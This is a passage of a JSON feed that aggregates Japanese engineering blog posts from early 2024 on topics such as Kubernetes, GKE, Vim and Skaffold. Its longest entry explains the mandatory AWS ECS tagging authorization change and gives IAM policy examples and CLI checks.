Kobuchi","authorId":"kobuchi"},{"title":"新人SREが0から始めるGKE上でのArgoCDによるWordPressデプロイ","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の高島です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。私は、情報系の大学院生で、普段は数値解 […]The post 新人SREが0から始めるGKE上でのArgoCDによるWordPressデプロイ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/deploy-wordpress-with-argocd-on-gke/","isoDate":"2024-03-21T23:34:40.000Z","dateMiliSeconds":1711064080000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ECSのタグ付け認可とアカウント単位のオプトアウトの廃止","contentSnippet":"ECSのタグ付け認可とはアカウント単位のオプトアウトの廃止確認影響がある例対応まとめ関連リソースECSのタグ付け認可とはECS関連のリソース作成時にリソースタグを付けることができます。その際 ecs:tagResource の権限が必要となります。なお、リソースタグを設定しないECSリソース作成の際は権限不要です。この権限の有無のチェックをタグ付け認可と言います。具体的にECSリソースの作成のアクションは以下の通りです。CreateCapacityProviderCreateClusterCreateServiceCreateTaskSetRegisterContainerInstanceRegisterTaskDefinitionRunTaskStartTaskタグ付け認可の仕組みは2023年4月18日に導入されました。しかしながら従来からECSリソースを作成する際にタグ付けしていたAWSアカウントに関しては影響があるため、アカウントレベルでタグ付け認可の機能を無効(オプトアウト)することができました。つまりアカウントレベルで無効にしていれば ecs:tagResource の権限がなくてもタグ付けをすることが可能でした。しかしながらアカウント単位のオプトアウト設定は2024年3月9日に廃止されます。アカウント単位のオプトアウトの廃止タグ付け認可におけるタイムラインは以下のとおりです2023年4月18日 タグ付け認可の導入とアカウント単位での有効化設定の導入2024年2月9日- 2月28日 新規アカウントおよび影響を受けないアカウントに関してデフォルトでタグ付け認可の有効化が行われる2024年2月29日 アカウント単位で有効にしている場合、無効に変更できなくなる2024年3月29日 すべてのアカウントでタグ付け認可が有効になり、アカウント単位での設定が不可能になる現時点(2024/03/20)であまり時間がありません。現在タグ付け認可に影響あるAWSアカウントに関しては、Personal Health Dashboadに以下のような通知が来ているはずです。▼ElasticContainerService security notification (クリックで展開)▼English follows Japanese | 英語のメッセージは日本語の後にございますお客様のアカウントにて過去 1 年以内に ecs:TagResource の許可無しに ECS リソースの作成時にタグを付けていることが判明したため、ご連絡差し上げます。Amazon ECS は、2023 年 4 月 18 日にリソース作成のタグ付け認証を導入しました [1]。新規および既存のお客様は、ECS Console または API の ECS アカウント設定ページを使用して、この新機能の使用をオプトインする必要があります。このセキュリティ制御により、ECS リソースの作成時にタグをつけることをユーザーに拒否または許可できます。2024 年 3 月 29 日以降もお客様の IAM プリンシパルが新しく作成された ECS リソースに引き続きタグを適用できるように、IAM ポリシーを更新して ecs:TagResource アクションを明示的に許可することを強くお勧めします。2024 年 2 月 9 日以降、AWS コンソール の ECS アカウント設定ページにて tagResourceAuthorization アカウント設定を明示的に off に設定していないすべてのお客様のアカウントは、自動的にこの設定にオプトインされました。お客様の AWS アカウントは一時的に許可リストに載せているため、2024 年 3 月 29 日まではタグリソース認証の off の動作が継続されます。2024 年 3 月 8 日、現在オプトインしているアカウントが tagResourceAuthorization をオプトアウトする機能を削除し、タグをサポートするすべての ECS リソースの作成に際して ecs:TagResource IAM 権限の使用を強制するようにしました。最終的に 2024 年 3 月 29 日をもってお客様のアカウントを許可リストから削除し、tagResourceAuthorization を有効化します。呼び出し元のプリンシパルの IAM ポリシーに ecs:TagResource アクションを含めずにタグをつけて ECS リソースを作成しようとすると、「AccessDenied」メッセージが表示されます。この変更は CreateCapacityProvider, CreateCluster, CreateService, CreateTaskSet, RegisterContainerInstance, RunTask, StartTask, および RegisterTaskDefinition の API に影響を及ぼします。ecs:TagResource を使用しない拒否レスポンスの例以下は、ecs:CreateCluster アクションを付与している IAM ポリシーの一部です。ecs:TagResource アクションは含まれていません。tagResourceAuthorization アカウント設定がオンの場合、リクエスト例では以下の AccessDenied 例外が返されます。# IAM ポリシー“Statement”: [{“Sid”: “AllowCreateCluster”,“Effect”: “Allow”,“Action”: [“ecs:CreateCluster”],“Resource”: “*”}]# クラスター作成のリクエストaws ecs create-cluster --cluster-name MyCluster --tags key=key1,value=value1# タグ付けの拒否されたレスポンスAn error occurred (AccessDeniedException) when calling the CreateCluster operation:User: is not authorized to perform: ecs:TagResource on resource: cluster/MyCluster because no identity-based policy allows the ecs:TagResource action必要なアクション:IAM プリンシパルが 2024 年 3 月 29 日以降も新しく作成された ECS リソースに引き続きタグを適用できるように、IAM ポリシーに次のステートメントを追加することを強くお勧めします。すべての ECS リソースの作成時にタグ付けを許可以下の説明に従って ecs:TagResource アクションを追加すると、ECS リソースの作成中にタグ付けが可能になります [2]。“Statement”: [{“Sid”: “AllowTagging”,“Effect”: “Allow”,“Action”: [“ecs:TagResource”],“Resource”: “*”}]単一の ECS リソースタイプ (ECS クラスタ) の作成時にタグ付けを許可条件ステートメント ecs:CreateAction を使用すると、タグ付けを特定の ECS API に制限できます。以下の例では、ECS CreateCluster API でのみタグ付けへのアクセスを許可します。タグ付きの ECS RunTask API へのリクエストは、拒否判定になります [2]。“Statement”: [{“Sid”: “AllowClusterTagging”,“Effect”: “Allow”,“Action”: [“ecs:TagResource”],“Resource”: “*”,“Condition”: {“StringEquals”: {“ecs:CreateAction” : “CreateCluster”}}}]タイムライン:2024 年 2 月 9 日(完了)- タグ付け認証はデフォルトで on になっています。これには、ホワイトリストに登録されているアカウントは含まれません。tagResourceAuthorization アカウント設定の on/off を切り替えることも可能であり、ポリシーへの準拠をテストいただけます。2024 年 3 月 8 日 - タグ付け認証を on にすると、off にすることはできなくなります。この日まではアカウント設定を切り替えることができますので、その間に IAM ポリシーをテストすることをお勧めします。2024 年 3 月 29 日 - すべての AWS アカウントでタグ付け認証が有効になります。アカウントレベルの設定は使用されなくなり、AWS コンソールの ECS アカウント設定ページから削除されます。ご質問やご不明点等ございましたら、AWS サポート [3] までお問い合わせください。[1] https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-account-settings.html#tag-resources-setting[2] https://docs.aws.amazon.com/AmazonECS/latest/developerguide/supported-iam-actions-tagging.html[3] https://aws.amazon.com/support---We are contacting you because we identified that your account has tagged ECS resources upon creation, within the past year, without the ecs:TagResource permission. Amazon ECS introduced tagging authorization for resource creation on April 18, 2023 [1]. New and existing customers must opt-in to use this new feature by using the ECS Account Settings page in the ECS Console or API. This security control allows users to deny or allow tagging ECS resources when they are created. We strongly recommend you update your IAM policies to explicitly allow the ecs:TagResource action so that your IAM principals continue applying tags to newly created ECS resources on or after March 29, 2024.From February 9, 2024, all customer accounts which have not explicitly set the tagResourceAuthorization account setting to “off” in the ECS Account Settings page in the AWS Console were automatically opted into the setting. We have temporarily allow-listed your AWS account so you will continue to have the “off” behavior for tagResourceAuthorization until March 29, 2024.On March 8, 2024, we removed the ability for currently opted-in accounts to opt-out of tagging authorization and enforced the creation of all ECS resources that support tags to use the ecs:TagResource IAM permission.Finally on March 29, 2024, we will remove your account from the allow-list and activate tagResourceAuthorization. You will experience an \\"AccessDenied\\" message if you attempt to create tagged ECS resources without including the ecs:TagResource action in the IAM policy of the calling principal. This change will affect the following APIs: CreateCapacityProvider, CreateCluster, CreateService, CreateTaskSet, RegisterContainerInstance, RunTask, StartTask, and RegisterTaskDefinition.Example Deny Response without ecs:TagResourceThe following is part of an IAM policy that is granting the ecs:CreateCluster Action. It does not include the ecs:TagResource Action. When tagResourceAuthorization Account setting is on, the example request would return the AccessDeniedException below.# IAM Policy“Statement”: [{“Sid”: “AllowCreateCluster”,“Effect”: “Allow”,“Action”: [“ecs:CreateCluster”],“Resource”: “*”}]# Create Cluster Requestaws ecs create-cluster --cluster-name MyCluster --tags key=key1,value=value1# Tagging Denied ResponseAn error occurred (AccessDeniedException) when calling the CreateCluster operation:User: is not authorized to perform: ecs:TagResource on resource: cluster/MyCluster because no identity-based policy allows the ecs:TagResource actionRequired Action:To ensure your IAM principals continue applying tags to newly created ECS resources on or after March 29, 2024, we strongly recommend adding the following statement(s) to your IAM policies:Allow Tagging during creation for all ECS ResourcesAdding the ecs:TagResource Action as described below would Allow tagging during ECS resource creation [2].“Statement”: [{“Sid”: “AllowTagging”,“Effect”: “Allow”,“Action”: [“ecs:TagResource”],“Resource”: “*”}]Allow Tagging during creation for single ECS Resource Type (ECS Cluster)Using the Conditional statement ecs:CreateAction allow you to limit the tagging to a specific ECS API. The example below grants access to tagging only on the ECS create-cluster API. A request to the ECS API run-task with tags would result in a Deny decision [2].“Statement”: [{“Sid”: “AllowClusterTagging”,“Effect”: “Allow”,“Action”: [“ecs:TagResource”],“Resource”: “*”,“Condition”: {“StringEquals”: {“ecs:CreateAction” : “CreateCluster”}}}]Timeline:February 9, 2024 (Completed) - Tagging Authorization is “on” by default. This excludes your account which is allowlisted. The tagResourceAuthorization account setting can be turned on/off to help test your policy compliance.March 8, 2024 - Tagging Authorization can no longer be turned “off” once it is turned “on”. It is recommended that you test your IAM policies before this date while you are able to toggle the account setting.March 29, 2024 - Tagging Authorization will be turned on for all AWS accounts. The account level setting will no longer be used and will be removed from the ECS Account Settings page in the AWS Console.If you have any questions, please contact AWS Support [3].[1] https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-account-settings.html#tag-resources-setting[2] https://docs.aws.amazon.com/AmazonECS/latest/developerguide/supported-iam-actions-tagging.html[3] https://aws.amazon.com/support通知が来ているアカウントは29日までに対応する必要があります。確認aws ecs list-account-settings --effective-settings --name tagResourceAuthorization を実行すると以下のような表示になると思います。ここがonであれば、すでにアカウント単位で有効になってるので影響がありません。(ただし、タグ付きのリソースを新規作成する際には権限が足りないとエラーになる可能性はあります)ここがoffになっている場合、タグ付け認可が無効になってるので3月29日以降影響を受ける可能性があります。% aws ecs list-account-settings --effective-settings --name tagResourceAuthorization{ \\"settings\\": [ { \\"name\\": \\"tagResourceAuthorization\\", \\"value\\": \\"on\\", \\"principalArn\\": \\"arn:aws:iam::xxxxxxxxxxxx:root\\" } ]}影響がある例ユースケースにもよりますが、タグ付け認可に関連する操作は以下のようなものが考えられるかと思いますインフラ担当者によるECSリソース構築開発担当者(またはCI/CD)によるECSサービスのデプロイ前者に関しては、PowerUser相当の強い権限を付与されていることが多くここが問題になることはほとんどど無いかとは思います。後者の特にCI/CDによるデプロイに問題となることがありえます。一般的に非人間ユーザで目的が明確であれば、最小権限の原則に則り、 ecs:TagResource が付与されていない可能性があります。トライアンドエラーで権限を付与した場合、過去にうまく動いたためそのままの権限で使い続けている可能性もあります。その場合影響がある可能性あります。デプロイ時のタスク定義登録の際、タスク定義内に従来なかったtagsの記述を新規追加した際にResgisterTaskDefinitionでエラーになるという事例を私は経験しました。タスク定義にtagsがないときはタグ付け認可は実行されないのでそのまま成功していたため、ecs:TagResource が必要なことに気づいていませんでした。エラーとしては以下のような記述になるので、タグ付け認可の機能の存在を知っていて冷静に読み解けば、ecs:TagResource が足りていないことに気づけると思います。An error occurred (AccessDeniedException) when calling the RegisterTaskDefinition operation: User: arn:aws:sts::xxxx:assumed-role/deploy-github-actions/GitHubActions is not authorized to perform: ecs:TagResource on resource: arn:aws:ecs:ap-northeast-1:xxxx:task-definition/ecs-service because no identity-based policy allows the ecs:TagResource action対応まずECSサービスを利用しているIAM RoleとIAM Policyを洗い出します。その上でそれらが以下のアクションを許可している場合、ecs:TagResource を追加してあげます。CreateCapacityProviderCreateClusterCreateServiceCreateTaskSetRegisterContainerInstanceRegisterTaskDefinitionRunTaskStartTask私の場合は、ECSサービスデプロイ用のポリシーに以下のStatementを追加しました。それぞれ適切な記述を足していただけたらと思います。この場合タスク定義を登録する際にタグ付け認可を通すような許可を追加しています。 { \\"Action\\": \\"ecs:TagResource\\", \\"Condition\\": { \\"StringEquals\\": { \\"ecs:CreateAction\\": \\"RegisterTaskDefinition\\" } }, \\"Effect\\": \\"Allow\\", \\"Resource\\": \\"arn:aws:ecs:ap-northeast-1:xxxxxx:task-definition/yyyyyyyyyyyyyyy:*\\", \\"Sid\\": \\"RegisterTaskDefinitionWithTag\\" },まとめタグ付け認可について説明しました。タグ付け認可は2024年3月29日に強制的に全アカウントで有効になります。時間が少ないですが、影響受ける可能性があるかどうかチェックしてハマらないようにしましょう。また、これまでタグ付けしてなかったリソースにタグ付けする際にタグ付け認可に引っかかる可能性があります。デプロイやリソース作成の際にnot authorized to perform: ecs:TagResource と言われたらこの記事を思い出していただけたらと思います。それでは良いECSライフを!関連リソースアカウント設定による Amazon ECS 機能へのアクセス - Amazon Elastic Container Service タグ付け認可リソース作成時にタグ付けするための許可を付与する - Amazon Elastic Container Service","link":"https://blog.masasuzu.net/entry/2024/03/20/121151","isoDate":"2024-03-20T03:11:51.000Z","dateMiliSeconds":1710904311000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Skaffoldのスゴさを語る!","contentSnippet":"この記事は、2024/3/15に登壇したJagu\'e\'r クラウドネイティブ分科会 俺の考える最強のCI/CDのリマスターになります。 k8sアプリケーション開発の悩み突然ですが皆さん、k8sでアプリを動かす時にこんな悩み、イライラはありませんか?k8sで検証する時には必ず通る道だと思います。効率よく検証するにはどうしたものか、、Skaffoldはそんな悩みを解決してくれます\uD83D\uDE04 Skaffoldとは? 概要Skaffold[1]は、コンテナベース及びKubernetesアプリケーションの継続的開発(Continuous Development = CD)を容易...","link":"https://zenn.dev/kojake_300/articles/11945f2047b22b","isoDate":"2024-03-18T11:24:43.000Z","dateMiliSeconds":1710761083000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"Skaffoldを用いたGKEアプリケーションの CD(Continuous Development)","contentSnippet":"","link":"https://speakerdeck.com/kojake_300/skaffoldwoyong-itagkeapurikesiyonno-cd-continuous-development","isoDate":"2024-03-17T04:00:00.000Z","dateMiliSeconds":1710648000000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"gin.vimで捗るgitのログ改竄 (instant fixup)","contentSnippet":"Vim 駅伝の2024/3/15の記事です。Gitで整然とコミットを詰むのはそうそうたやすいものではありません。あのコミットでバグを仕込んでしまった、コミットメッセージを間違えていた、そんなミスはよくあることです。かと言って、整然とコミットするためにコミットを後回しにしては本末転倒です。うかつな操作で作業内容を失うかもしれませんし、少し前の作業内容に戻りたくなるかもしれません。また差分が大きくなるほど適切な粒度でのコミットが億劫になります。","link":"https://blog.atusy.net/2024/03/15/instant-fixup-with-gin-vim/","isoDate":"2024-03-15T00:00:00.000Z","dateMiliSeconds":1710460800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Tagpr で tag trigger の workflow が実行されなくてハマった話","contentSnippet":"最近 tagpr という便利ツールの存在を知って試していたのですが、使い方が悪くてハマったのでメモ。 tagpr とは 作者さまの記事を参照ください。 リリース用のpu","link":"https://blog.1q77.com/2024/03/tagpr/","isoDate":"2024-03-15T00:00:00.000Z","dateMiliSeconds":1710460800000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Helm chart を GitHub Container Registry に host する","contentSnippet":"背景 最近は書いたアプリを Kubernetes に deploy することも多い。 その際に helm で簡単に deploy できるようになっていると便利ということで Helm chart を Git に入れておいても良いのだけ","link":"https://blog.1q77.com/2024/03/helm-push-to-ghcr/","isoDate":"2024-03-14T15:13:39.000Z","dateMiliSeconds":1710429219000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"書を捨てよ、現場へ出よう","contentSnippet":"書を捨てよ、現場へ出よう このSRE本がすごい!2024年 LT版というタイトルで登壇してきました。\\r\\rSREたちの廊下〜あなたの現場での悩み、あの本にヒントがあるかも〜\\rhttps://findy.connpass.com/event/311323/\\r\\r元ブログはこちら\\r\\rこのSRE本がすごい!2024年版\\rhttps://syu-m-5151.hatenablog.com/entry/2024/01/26/165255\\r\\r登壇ブログはこちら\\r\\r『読書とは、能力、知識ではなく 問いを獲得するための行為』みたいな内容で登壇しました。\\rhttps://syu-m-5151.hatenablog.com/entry/2024/03/13/164951","link":"https://speakerdeck.com/nwiizo/shu-woshe-teyo-xian-chang-hechu-you","isoDate":"2024-03-12T04:00:00.000Z","dateMiliSeconds":1710216000000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Google Cloud Modern App Summit Tokyo\'24 に登壇しました! ~オススメのセッションを添えて~","contentSnippet":"はじめに3/1(金)に Google Cloud Modern App Summit Tokyo’24 が開催されましたhttps://cloudonair.withgoogle.com/events/modern-app-summit-24#私はスポンサーセッションのSpeakerとして参加しましたが、他のセッションもすごくおもしろいものが多かったのでゆる〜く内容も合わせてご紹介しますこの方の参加レポートがすごく良いのでぜひ!https://iret.media/94801 登壇内容私は、以下の内容で登壇しました。これだけ規模の大きいイベントに登壇するのは初め...","link":"https://zenn.dev/yokoo_an209/articles/488f1aa442444f","isoDate":"2024-03-12T00:13:04.000Z","dateMiliSeconds":1710202384000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"gyでVimからクリップボードにヤンクする","contentSnippet":"Vim 駅伝の2024/3/11の記事です。Vim/Neovimで文字列をクリップボードへヤンクする主な方法は大きく二通りあります。都度指定\\"*yや\\"+yといった具合にヤンクする時にクリップボードを使うよう、明示的にレジスタを指定する自動同期set clipboard+=unnamedplus(またはunnamed)しておき、レジスタを指定せずにヤンクした内容を自動的にクリップボードに同期する詳しくは以下の記事をご参照ください。","link":"https://blog.atusy.net/2024/03/11/vim-gy-as-gui-yank/","isoDate":"2024-03-11T00:00:00.000Z","dateMiliSeconds":1710115200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"君たちはどう記事を管理しているか","contentSnippet":"はじめにみなさんは良いなと思った記事や保存しておきたいなと思った記事をどのように溜めていますか?また、どのように引き出していますか?身近に「こんな資料・記事あったな、参考になると思うのでどうぞ 」で シュツ と出してくる猛者エンジニアの方がいたりしますよね...ここでは、頭のストレージ容量が皆無な私が、そんなことできる人になりてぇなぁ〜と思いながら、考えた方法をご紹介します。ブラウザのブックマークや、Qiita・Zennに搭載のネイティブのストック機能、Slackの自分だけのチャンネルに貼る、様々な方法があると思います。もしくは、特に溜めていなく引き出したいときに思い出せ...","link":"https://zenn.dev/yokoo_an209/articles/c0ccd3bd241ad6","isoDate":"2024-03-07T13:49:49.000Z","dateMiliSeconds":1709819389000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"生成AI入門","contentSnippet":"今話題の生成AIについて簡単に技術概要をお話ししたのち、LangChain、プロンプトエンジニアリング、RAG(Retrieval Augmented Generation)、Embedding、グラウンディングなどを実装の手法などを紹介しました。","link":"https://speakerdeck.com/shukob/sheng-cheng-airu-men","isoDate":"2024-03-02T05:00:00.000Z","dateMiliSeconds":1709355600000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"ftExtra v0.6.2をリリースしました","contentSnippet":"ftExtra v0.6.2をリリースしました。flextableパッケージを使って表組みする時に、セル内のマークダウンを処理できる ftExtra::colformat_md() がウリです。data.frame( x = c(\\"**bold**\\", \\"*italic*\\"), y = c(\\"^superscript^\\", \\"~subscript~\\"), z = c(\\"***~ft~^Extra^** is*\\", \\"*Cool*\\"), stringsAsFactors = FALSE) |> flextable::flextable() |> ftExtra::colformat_md().cl-9f195392{}.cl-9f13596a{font-family:\'DejaVu Sans\';font-size:11pt;font-weight:normal;font-style:normal;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;}.cl-9f135974{font-family:\'DejaVu Sans\';font-size:11pt;font-weight:bold;font-style:normal;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;}.cl-9f13597e{font-family:\'DejaVu Sans\';font-size:6.6pt;font-weight:normal;font-style:normal;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;position: relative;bottom:3.3pt;}.cl-9f13597f{font-family:\'DejaVu Sans\';font-size:6.6pt;font-weight:bold;font-style:italic;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;position: relative;top:3.3pt;}.cl-9f135988{font-family:\'DejaVu Sans\';font-size:6.6pt;font-weight:bold;font-style:italic;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;position: relative;bottom:3.3pt;}.cl-9f135989{font-family:\'DejaVu Sans\';font-size:11pt;font-weight:normal;font-style:italic;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;}.cl-9f135992{font-family:\'DejaVu Sans\';font-size:6.6pt;font-weight:normal;font-style:normal;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;position: relative;top:3.3pt;}.cl-9f168324{margin:0;text-align:left;border-bottom: 0 solid rgba(0, 0, 0, 1.00);border-top: 0 solid rgba(0, 0, 0, 1.00);border-left: 0 solid rgba(0, 0, 0, 1.00);border-right: 0 solid rgba(0, 0, 0, 1.00);padding-bottom:5pt;padding-top:5pt;padding-left:5pt;padding-right:5pt;line-height: 1;background-color:transparent;}.cl-9f1690b2{width:0.75in;background-color:transparent;vertical-align: middle;border-bottom: 1.5pt solid rgba(102, 102, 102, 1.00);border-top: 1.5pt solid rgba(102, 102, 102, 1.00);border-left: 0 solid rgba(0, 0, 0, 1.00);border-right: 0 solid rgba(0, 0, 0, 1.00);margin-bottom:0;margin-top:0;margin-left:0;margin-right:0;}.cl-9f1690bc{width:0.75in;background-color:transparent;vertical-align: middle;border-bottom: 0 solid rgba(0, 0, 0, 1.00);border-top: 0 solid rgba(0, 0, 0, 1.00);border-left: 0 solid rgba(0, 0, 0, 1.00);border-right: 0 solid rgba(0, 0, 0, 1.00);margin-bottom:0;margin-top:0;margin-left:0;margin-right:0;}.cl-9f1690bd{width:0.75in;background-color:transparent;vertical-align: middle;border-bottom: 1.5pt solid rgba(102, 102, 102, 1.00);border-top: 0 solid rgba(0, 0, 0, 1.00);border-left: 0 solid rgba(0, 0, 0, 1.00);border-right: 0 solid rgba(0, 0, 0, 1.00);margin-bottom:0;margin-top:0;margin-left:0;margin-right:0;}x","link":"https://blog.atusy.net/2024/03/01/ftextra-v0-6-2/","isoDate":"2024-03-01T00:00:00.000Z","dateMiliSeconds":1709251200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"酸いも甘いもある Shared VPC(共有VPC) ~ GKE をShared VPC で構築する際の苦悩~","contentSnippet":"このブログは、【Google Cloud】GDG Tokyo Monthly Online Tech Talksにて発表した内容を元にしています。登壇時の資料はこちらになります。https://speakerdeck.com/parupappa2929/suan-imogan-imoarushared-vpc-gong-you-vpc-gkewoshared-vpcdegou-zhu-suruji-noku-nao はじめにGoogle Cloud Shared VPC(共有VPC)はネットワークリソースの集中管理ができる一方で、リソース利用に関して制約があったり、エンプラ企業...","link":"https://zenn.dev/yokoo_an209/articles/1818360b9c7821","isoDate":"2024-02-29T07:23:09.000Z","dateMiliSeconds":1709191389000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"Google Cloud Managed Service for Prometheusでprismaメトリクスを可視化してみた","contentSnippet":"","link":"https://speakerdeck.com/kojake_300/google-cloud-managed-service-for-prometheusteprismametorikusuwoke-shi-hua-sitemita","isoDate":"2024-02-29T05:00:00.000Z","dateMiliSeconds":1709182800000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"迅速に叶える、GKE Autopilot によるユニバーサルモダンアーキテクチャの実践/Rapidly Achieve Universal Modern Architecture with GKE Autopilot in Practice","contentSnippet":"Google Cloud Modern App Summit Tokyo \'24 にて登壇した内容です。\\r\\rhttps://cloudonair.withgoogle.com/events/modern-app-summit-24?talk=session-c1","link":"https://speakerdeck.com/parupappa2929/xun-su-nixie-eru-gke-autopilotniyoruyunibasarumodanakitekutiyanoshi-jian","isoDate":"2024-02-29T05:00:00.000Z","dateMiliSeconds":1709182800000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"Azure Container Apps Jobs を Self-hosted GitHub Actions Runner として使う","contentSnippet":"GitHub Actions の Self-hosted Runner を安く用意する方法を探していたところ、 Azure の Container Apps Jobs というのが便利に使えるらしいというのを見つけたので試してみる。 チュートリアル:Az","link":"https://blog.1q77.com/2024/02/container-apps-jobs-self-hosted-github-actions-runner/","isoDate":"2024-02-23T10:05:41.000Z","dateMiliSeconds":1708682741000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"酸いも甘いもある Shared VPC(共有VPC) ~ GKE を Shared VPC で構築する際の苦悩 ~","contentSnippet":"","link":"https://speakerdeck.com/parupappa2929/suan-imogan-imoarushared-vpc-gong-you-vpc-gkewoshared-vpcdegou-zhu-suruji-noku-nao","isoDate":"2024-02-22T05:00:00.000Z","dateMiliSeconds":1708578000000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"Terraform workspace使って思ったこと","contentSnippet":"背景 そこまで大きな案件でもなく、 環境間の差分もあまりなさそうだったため 何より使ったことないから試してみようっていう好奇心 ある案件にて上記の理由から、Terraform workspaceを採用しました。 今回は、 […]The post Terraform workspace使って思ったこと first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/terraform-workspace/","isoDate":"2024-02-18T14:28:59.000Z","dateMiliSeconds":1708266539000,"authorName":"Sreake","authorId":"Sreake"},{"title":"アーキテクチャから学ぶKubernetesの全体像","contentSnippet":"Developers Summit(デブサミ)2024で登壇したセッションの資料です。\\r\\r- https://event.shoeisha.jp/devsumi/20240215\\r- https://event.shoeisha.jp/devsumi/20240215/session/4777\\r\\rセッション解説記事:\\rhttps://codezine.jp/article/detail/19131","link":"https://speakerdeck.com/bells17/akitekutiyakaraxue-hukubernetesnoquan-ti-xiang","isoDate":"2024-02-15T05:00:00.000Z","dateMiliSeconds":1707973200000,"authorName":"bells17","authorId":"bells17"},{"title":"個人開発でWebアプリの開発とデプロイの流れ","contentSnippet":"個人でWebサービスを開発したいけど、どのような流れで作っていけばいいのかわからない方向けです。個人開発でWebアプリを開発、デプロイをしたのでその流れを共有したいと思います。作ったもの麻雀戦績管理アプリ名付けて「PungPals」。雀荘などのオフラインでの対戦結果を残し、個人成績やランキングを確認できます。pungpals-service-xstpolfd4q-an.a.run.app開発とデプロイの流れ1.要件定義、設計実装がスムーズに進むために、しっかりとしておきましょう。以前記事を書いたので、参考にしてください。kechigon.hatenablog.com2.技術選定今回作ったアプリケーションはDjangoで開発し、Cloud Runにデプロイしています。選定理由は、Django: 経験があるから。Cloud Run: Djangoアプリのデプロイ方法の公式ドキュメントがあった(後ほど説明します)、マネージドな部分とカスタムできる部分のバランスがちょうどよかったから。でした。以下これらの技術を使って、開発デプロイまでの流れを説明していきます。3.Djangoを使ってアプリケーションを作成Djangoにはチュートリアルがあり、はじめての Django アプリ作成、その 1 | Django ドキュメント | Djangoはじめての Django アプリ作成、その2 | Django ドキュメント | Djangoはじめての Django アプリ作成、その 3 | Django ドキュメント | Djangoはじめての Django アプリ作成、その 4 | Django ドキュメント | Djangoを読めば開発方法がわかると思います。環境構築をし、実装し、ローカルで動作確認をしながら開発していきます。4.Cloud run へのデプロイDjangoアプリのCloud runへのデプロイ方法は公式ドキュメントにまとめられているので、これを見ながら進めます。cloud.google.comDjangoアプリケーションを環境に合わせて設定した後コンテナ化し、Cloud Runに載せます。それに伴い、Cloud SQL(データベース)、Secret Manager(シークレット管理)、Cloud Storage(静的アセットの保存など)、Cloud Build(CI/CD)、Artifact Registry(コンテナレジストリ)の作成、設定も行います。ドキュメントではGCRを使っていますが、現在非推奨なので、Artifact Registryをコンテナレジストリとして使用します。cloud.google.comオプションですが、GCPへのリソースの作成はTerraformを利用すると、構成管理ができ便利です。作成するインフラの図以上のことを行った後のGitHubリポジトリPungPalsのコードは公開しているので、参考にしていただければと思います。github.comこれから今後は、運用面の課題解決や集客などを行っていく予定なので、ブログにしていくつもりです!","link":"https://kechigon.hatenablog.com/entry/2024/02/13/125853","isoDate":"2024-02-13T03:58:53.000Z","dateMiliSeconds":1707796733000,"authorName":"Kurita Keigo","authorId":"kurita"},{"title":"Google Cloudの管理を楽にする、 トイルを減らすクラウドガバナンス","contentSnippet":"","link":"https://speakerdeck.com/parupappa2929/google-cloudnoguan-li-wole-nisuru-toiruwojian-rasukuraudogabanansu","isoDate":"2024-02-11T05:00:00.000Z","dateMiliSeconds":1707627600000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"OWASP Top 10 for Large Language Model Applications をまとめる","contentSnippet":"はじめに Sreake 事業部インターン生の中林です。私は、Sreake 事業部長期インターン生として SRE 技術の技術検証を行っています。 今回は、Sreake 事業部で作成している LLM アプリケーションに対する […]The post OWASP Top 10 for Large Language Model Applications をまとめる first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/owasp-top-10-for-llm-application/","isoDate":"2024-02-05T09:29:32.000Z","dateMiliSeconds":1707125372000,"authorName":"Sreake","authorId":"Sreake"},{"title":"YugabyteDB ManagedのAlways Free枠を試そう","contentSnippet":"YugabyteDB Managedにフリートライアルがあるのは知っていたのですが、期間が限られたものしか無いと思っていました。YugabyteDBについて調べごとをしていたら機能制限はあるもののSandboxクラスターというクレジットカード登録すら不要でAlways Freeな利用枠があることを知りました。いままでローカルでYugabyteDBを建てたりminikube上で遊んでいたのですが、簡単な検証であればSandboxクラスターで十分です。この記事ではそんなYugabyteDB ManagedのSandboxクラスターを紹介します。 Sandbox Clusterの制限...","link":"https://zenn.dev/nnaka2992/articles/play_with_yugabytedb_managed_sandbox","isoDate":"2024-02-04T15:02:28.000Z","dateMiliSeconds":1707058948000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Google CloudのObservability : Personalized Service Health","contentSnippet":"はじめに先日、これまでプレビュー版だった、Google Cloudの稼働監視サービスのPersonalized Service 